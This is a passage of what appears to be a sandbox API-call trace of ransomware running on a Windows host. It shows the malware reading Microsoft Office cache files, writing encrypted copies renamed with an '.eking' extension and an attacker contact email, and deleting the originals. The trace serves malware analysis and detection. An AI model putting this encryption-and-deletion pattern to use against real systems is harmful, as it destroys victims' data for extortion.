users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0225.098] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0225.098] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0225.098] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0225.098] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x17c [0225.099] ReadFile (in: hFile=0x1ac, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0xccb88, lpOverlapped=0x0) returned 1 [0225.114] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xccb90, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xccb90, lpOverlapped=0x0) returned 1 [0225.130] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0225.131] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0225.131] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0225.131] WriteFile (in: hFile=0x1ac, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xccb88, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0xccb88, lpOverlapped=0x0) returned 1 [0225.203] FlushFileBuffers (hFile=0x1ac) returned 1 [0226.329] FlushFileBuffers (hFile=0x17c) returned 1 [0226.366] CloseHandle (hObject=0x1ac) returned 1 [0226.366] CloseHandle (hObject=0x17c) returned 1 [0226.366] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 1 [0226.375] SetEvent (hEvent=0xe0) returned 1 [0226.376] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0226.376] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=519584) returned 1 [0226.376] CloseHandle (hObject=0x17c) returned 1 [0226.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 0x2020 [0226.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 0x2020 [0226.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0226.377] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0226.377] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0226.377] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0226.377] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1ac [0226.378] ReadFile (in: hFile=0x17c, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x7eda0, lpOverlapped=0x0) returned 1 [0226.389] WriteFile (in: hFile=0x1ac, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x7edb0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x7edb0, lpOverlapped=0x0) returned 1 [0226.400] WriteFile (in: hFile=0x1ac, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0226.400] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0226.400] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0226.400] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x7eda0, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x7eda0, lpOverlapped=0x0) returned 1 [0226.402] FlushFileBuffers (hFile=0x17c) returned 1 [0227.629] FlushFileBuffers (hFile=0x1ac) returned 1 [0227.744] CloseHandle (hObject=0x17c) returned 1 [0227.744] CloseHandle (hObject=0x1ac) returned 1 [0227.745] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 1 [0227.750] SetEvent (hEvent=0xe0) returned 1 [0227.753] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0227.754] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=3702272) returned 1 [0227.754] CloseHandle (hObject=0x1ac) returned 1 [0227.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi")) returned 0x2020 [0227.754] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0227.755] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0227.755] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0227.755] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0227.755] ReadFile (in: hFile=0x1ac, lpBuffer=0x3250058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3250058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0227.762] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0227.763] ReadFile (in: hFile=0x1ac, lpBuffer=0x3290058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3290058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0227.775] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0227.775] ReadFile (in: hFile=0x1ac, lpBuffer=0x32d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x32d0058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0227.793] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9a8 | out: lpNewFilePointer=0x0) returned 1 [0227.793] WriteFile (in: hFile=0x1ac, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xc0112, lpOverlapped=0x0) returned 1 [0227.849] SetEndOfFile (hFile=0x1ac) returned 1 [0227.850] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0227.850] WriteFile (in: hFile=0x1ac, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0227.852] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0227.852] WriteFile (in: hFile=0x1ac, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0227.854] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0227.854] WriteFile (in: hFile=0x1ac, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0227.856] FlushFileBuffers (hFile=0x1ac) returned 1 [0229.109] CloseHandle (hObject=0x1ac) returned 1 [0229.109] SetEvent (hEvent=0xe0) returned 1 [0229.110] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0229.111] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=868864) returned 1 [0229.111] CloseHandle (hObject=0x1ac) returned 1 [0229.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 0x2020 [0229.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 0x2020 [0229.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0229.112] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0229.112] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0229.112] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0229.112] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x17c [0229.113] ReadFile (in: hFile=0x1ac, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0xd4200, lpOverlapped=0x0) returned 1 [0229.222] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xd4210, lpOverlapped=0x0) returned 1 [0229.242] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x102, lpOverlapped=0x0) returned 1 [0229.243] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0229.243] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0229.243] WriteFile (in: hFile=0x1ac, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xd4200, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0xd4200, lpOverlapped=0x0) returned 1 [0229.246] FlushFileBuffers (hFile=0x1ac) returned 1 [0229.909] FlushFileBuffers (hFile=0x17c) returned 1 [0230.480] CloseHandle (hObject=0x1ac) returned 1 [0230.480] CloseHandle (hObject=0x17c) returned 1 [0230.480] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 1 [0230.490] SetEvent (hEvent=0xe0) returned 1 [0230.490] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0230.491] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=27195) returned 1 [0230.491] CloseHandle (hObject=0x17c) returned 1 [0230.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 0x2020 [0230.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 0x2020 [0230.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0230.491] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0230.491] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0230.491] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0230.491] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1ac [0230.497] ReadFile (in: hFile=0x17c, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x6a3b, lpOverlapped=0x0) returned 1 [0230.590] WriteFile (in: hFile=0x1ac, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x6a40, lpOverlapped=0x0) returned 1 [0230.591] WriteFile (in: hFile=0x1ac, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0230.592] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0230.592] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0230.592] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x6a3b, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x6a3b, lpOverlapped=0x0) returned 1 [0230.592] FlushFileBuffers (hFile=0x17c) returned 1 [0232.154] FlushFileBuffers (hFile=0x1ac) returned 1 [0233.066] CloseHandle (hObject=0x17c) returned 1 [0233.066] CloseHandle (hObject=0x1ac) returned 1 [0233.066] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 1 [0233.068] SetEvent (hEvent=0xe0) returned 1 [0233.068] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0233.069] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=9352) returned 1 [0233.069] CloseHandle (hObject=0x1ac) returned 1 [0233.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0233.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0233.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0233.069] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0233.070] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0233.070] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0233.070] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x17c [0233.070] ReadFile (in: hFile=0x1ac, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x2488, lpOverlapped=0x0) returned 1 [0233.072] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x2490, lpOverlapped=0x0) returned 1 [0233.074] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0233.074] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0233.074] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0233.074] WriteFile (in: hFile=0x1ac, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x2488, 